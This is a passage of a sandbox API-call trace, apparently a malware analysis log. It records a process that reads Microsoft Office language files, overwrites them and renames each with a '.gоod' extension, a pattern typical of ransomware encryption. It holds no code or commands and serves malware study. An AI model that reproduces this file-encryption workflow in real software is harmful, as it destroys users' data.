ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85b93035, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa03a57)) returned 1 [0230.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0230.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat.gоod")) returned 1 [0230.702] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", lpFilePart=0x0) returned 0x41 [0230.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0230.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), fInfoLevelId=0x0, lpFileInformation=0x37f2870 | out: lpFileInformation=0x37f2870*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdc2b493, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdc2b493, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdc2b493, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0230.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0230.702] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", lpFilePart=0x0) returned 0x41 [0230.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0230.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0230.702] GetFileType (hFile=0x860) returned 0x1 [0230.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0230.702] GetFileType (hFile=0x860) returned 0x1 [0230.702] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0230.703] ReadFile (in: hFile=0x860, lpBuffer=0x37f2c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x37f2c78*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0230.704] CloseHandle (hObject=0x860) returned 1 [0230.704] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", lpFilePart=0x0) returned 0x41 [0230.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0230.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0230.704] GetFileType (hFile=0x860) returned 0x1 [0230.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0230.704] GetFileType (hFile=0x860) returned 0x1 [0230.704] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x7000 [0230.704] WriteFile (in: hFile=0x860, lpBuffer=0x37f4628*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x37f4628*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0230.705] CloseHandle (hObject=0x860) returned 1 [0230.705] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", lpFilePart=0x0) returned 0x41 [0230.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0230.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0230.705] GetFileType (hFile=0x860) returned 0x1 [0230.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0230.705] GetFileType (hFile=0x860) returned 0x1 [0230.705] ReadFile (in: hFile=0x860, lpBuffer=0x37f68e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37f68e0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0230.805] CloseHandle (hObject=0x860) returned 1 [0231.052] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", lpFilePart=0x0) returned 0x41 [0231.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0231.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.114] GetFileType (hFile=0x864) returned 0x1 [0231.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0231.118] GetFileType (hFile=0x864) returned 0x1 [0231.118] WriteFile (in: hFile=0x864, lpBuffer=0x3643a68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3643a68*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0231.118] CloseHandle (hObject=0x864) returned 1 [0231.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", lpFilePart=0x0) returned 0x41 [0231.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.gоod", lpFilePart=0x0) returned 0x46 [0231.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0231.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdc2b493, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdc2b493, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85f98d2a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7010)) returned 1 [0231.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0231.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm.gоod")) returned 1 [0231.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", lpFilePart=0x0) returned 0x3d [0231.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0231.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css"), fInfoLevelId=0x0, lpFileInformation=0x3812ab0 | out: lpFileInformation=0x3812ab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x474a99c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0231.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0231.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", lpFilePart=0x0) returned 0x3d [0231.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0231.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.120] GetFileType (hFile=0x864) returned 0x1 [0231.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0231.120] GetFileType (hFile=0x864) returned 0x1 [0231.120] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0231.120] ReadFile (in: hFile=0x864, lpBuffer=0x3813aa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3813aa8*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0231.122] CloseHandle (hObject=0x864) returned 1 [0232.691] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", lpFilePart=0x0) returned 0x3d [0232.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0232.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.692] GetFileType (hFile=0x834) returned 0x1 [0232.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0232.692] GetFileType (hFile=0x834) returned 0x1 [0232.692] WriteFile (in: hFile=0x834, lpBuffer=0x38132f8*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x38132f8*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0232.693] CloseHandle (hObject=0x834) returned 1 [0232.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", lpFilePart=0x0) returned 0x3d [0232.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS.gоod", lpFilePart=0x0) returned 0x42 [0232.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0232.693] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x86e7fa8d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0232.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0232.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css.gоod")) returned 1 [0232.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", lpFilePart=0x0) returned 0x40 [0232.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0232.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), fInfoLevelId=0x0, lpFileInformation=0x38145a8 | out: lpFileInformation=0x38145a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e1c)) returned 1 [0232.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0232.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", lpFilePart=0x0) returned 0x40 [0232.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0232.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.696] GetFileType (hFile=0x834) returned 0x1 [0232.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0232.696] GetFileType (hFile=0x834) returned 0x1 [0232.696] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0232.696] ReadFile (in: hFile=0x834, lpBuffer=0x38149a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x38149a0*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0232.697] CloseHandle (hObject=0x834) returned 1 [0232.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", lpFilePart=0x0) returned 0x40 [0232.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0232.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.698] GetFileType (hFile=0x834) returned 0x1 [0232.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0232.698] GetFileType (hFile=0x834) returned 0x1 [0232.698] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x20e1c [0232.698] WriteFile (in: hFile=0x834, lpBuffer=0x3815f78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3815f78*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0232.699] CloseHandle (hObject=0x834) returned 1 [0232.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", lpFilePart=0x0) returned 0x40 [0232.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0232.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.699] GetFileType (hFile=0x834) returned 0x1 [0232.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0232.699] GetFileType (hFile=0x834) returned 0x1 [0232.699] ReadFile (in: hFile=0x834, lpBuffer=0x3818228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3818228*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0232.726] CloseHandle (hObject=0x834) returned 1 [0232.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", lpFilePart=0x0) returned 0x40 [0232.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0232.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.727] GetFileType (hFile=0x834) returned 0x1 [0232.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0232.727] GetFileType (hFile=0x834) returned 0x1 [0232.727] WriteFile (in: hFile=0x834, lpBuffer=0x3816f90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3816f90*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0232.727] CloseHandle (hObject=0x834) returned 1 [0232.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", lpFilePart=0x0) returned 0x40 [0232.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.gоod", lpFilePart=0x0) returned 0x45 [0232.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0232.727] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86ecbf57, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20e2c)) returned 1 [0232.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0232.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs.gоod")) returned 1 [0233.042] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", lpFilePart=0x0) returned 0x3c [0233.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0233.042] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css"), fInfoLevelId=0x0, lpFileInformation=0x3831b30 | out: lpFileInformation=0x3831b30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x474a99c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0233.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0233.043] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", lpFilePart=0x0) returned 0x3c [0233.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0233.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.043] GetFileType (hFile=0x82c) returned 0x1 [0233.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0233.043] GetFileType (hFile=0x82c) returned 0x1 [0233.043] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0233.043] ReadFile (in: hFile=0x82c, lpBuffer=0x3832b18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3832b18*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0233.044] CloseHandle (hObject=0x82c) returned 1 [0233.126] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", lpFilePart=0x0) returned 0x3c [0233.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0233.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0233.128] GetFileType (hFile=0x82c) returned 0x1 [0233.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0233.128] GetFileType (hFile=0x82c) returned 0x1 [0233.128] WriteFile (in: hFile=0x82c, lpBuffer=0x38af3f8*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x38af3f8*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0233.128] CloseHandle (hObject=0x82c) returned 1 [0233.129] GetFullPathNameW (in: 